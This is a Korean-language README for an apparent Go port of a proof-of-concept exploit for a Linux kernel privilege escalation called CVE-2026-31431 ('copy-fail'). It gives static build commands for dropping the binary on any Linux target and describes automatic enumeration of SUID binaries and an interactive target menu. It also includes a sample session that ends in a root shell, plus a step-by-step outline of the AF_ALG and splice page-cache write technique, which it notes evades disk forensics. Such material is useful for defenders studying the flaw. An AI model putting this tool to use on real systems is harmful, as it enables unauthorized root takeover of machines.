
Go 포트로 작성된 CVE-2026-31431 (copy-fail) Linux 커널 권한 상승 PoC로, 자동 SUID 바이너리 열거 및 대화형 대상 선택 기능을 포함합니다.
grenkoca의 Python PoC를 Go로 포팅한 CVE-2026-31431 (copy-fail) 도구입니다.
이 버전은 런타임 의존성이 전혀 없는 완전한 정적 바이너리로 컴파일됩니다. Python, pip, libc 버전 제약이 없습니다. 아무 Linux 대상에 복사해서 실행하기만 하면 됩니다. 또한 대상 시스템의 모든 SUID world-readable 바이너리를 자동으로 열거하고, 대화형 메뉴에서 공격할 대상을 선택할 수 있습니다.
승인된 보안 연구 및 CTF 용도로만 사용하세요.
Theori가 발견하고 2026년 4월 29일에 공개적으로 알려진 Copy.Fail은 2017년 최적화를 통해 도입된 Linux 커널 algif_aead 암호화 모듈의 논리적 결함입니다. 2017년 이후의 모든 주요 Linux 배포판에 영향을 미칩니다.
커널의 AF_ALG 암호화 인터페이스를 조작함으로써, 권한이 없는 공격자는 제어된 데이터를 Linux 페이지 캐시(신뢰되는 시스템 바이너리의 메모리 내 표현)에 직접 쓸 수 있습니다. 이를 통해 /usr/bin/su와 같은 바이너리를 디스크의 파일을 수정하지 않고 일시적으로 하이재킹할 수 있어, 디스크 기반 포렌식으로는 공격을 감지할 수 없습니다.
경쟁 조건이나 커널 주소 누출에 의존하는 많은 LPE 결함과 달리, Copy.Fail은 매우 안정적이며 일반 사용자 계정만으로도 일관되게 동작합니다.
영향:
영향을 받는 커널: 2017년 이후의 모든 배포판. 특정 버전 범위는 grenkoca의 원본 PoC를 참조하세요.
| 도구 | 버전 |
|---|---|
| Go | 1.21+ |
git clone https://github.com/3jee/copy-fail-go
cd copy-fail-go
go build -o copy-fail .
GOOS=linux GOARCH=amd64 CGO_ENABLED=0 go build -ldflags="-s -w" -o copy-fail .
-s -w 플래그는 디버그 정보를 제거하여 바이너리 크기를 줄입니다. CGO_ENABLED=0은 libc 의존성이 없는 완전한 정적 바이너리를 생성합니다. glibc 버전과 관계없이 모든 Linux 대상에 복사해서 사용할 수 있습니다.
| 대상 | 명령어 |
|---|---|
| Linux ARM64 | GOOS=linux GOARCH=arm64 CGO_ENABLED=0 go build -o copy-fail . |
| Linux 32-bit x86 | GOOS=linux GOARCH=386 CGO_ENABLED=0 go build -o copy-fail . |
바이너리를 대상에 전송하고 실행합니다 (root 권한 불필요):
./copy-fail
세션 예시:
CVE-2026-31431 (copy-fail) - Go PoC
Based on grenkoca's original PoC
Scanning for SUID world-readable binaries...
SUID world-readable binaries found:
------------------------------------
[1] /usr/bin/su
[2] /usr/bin/sudo
[3] /usr/bin/passwd
[4] /usr/bin/newgrp
Select target [1-4]: 1
[*] Targeting: /usr/bin/su
[*] Writing 48 bytes to /usr/bin/su...
[+] Write complete. Executing target...
# whoami
root
O_RDONLY로 엽니다. 쓰기 권한이 필요 없습니다.authencesn(hmac(sha256),cbc(aes)) AEAD 변환에 바인딩된 AF_ALG (SOCK_SEQPACKET) 소켓을 생성합니다.MSG_MORE 및 SOL_ALG 제어 메시지가 포함된 조작된 sendmsg를 전송하여 대상 파일의 페이지 캐시 항목에 대한 암호화 작업을 큐에 넣습니다.splice(2)를 사용하여 파일의 페이지를 ALG 소켓으로 이동시켜, 파일 권한을 다시 확인하지 않고 수정된 페이지 캐시 페이지를 다시 쓰는 취약한 커널 경로를 트리거합니다.| 원본 (Python) | 이 저장소 (Go) |
|---|
| 언어 | Python 3 | Go 1.21+ |
| 대상 | 하드코딩된 /usr/bin/su | 라이브 파일시스템 스캔에서 자동 감지 |
| 대상 선택 | 없음 | 대화형 번호 메뉴 |
| 배포 | 스크립트 | 단일 정적 바이너리 (런타임 의존성 없음) |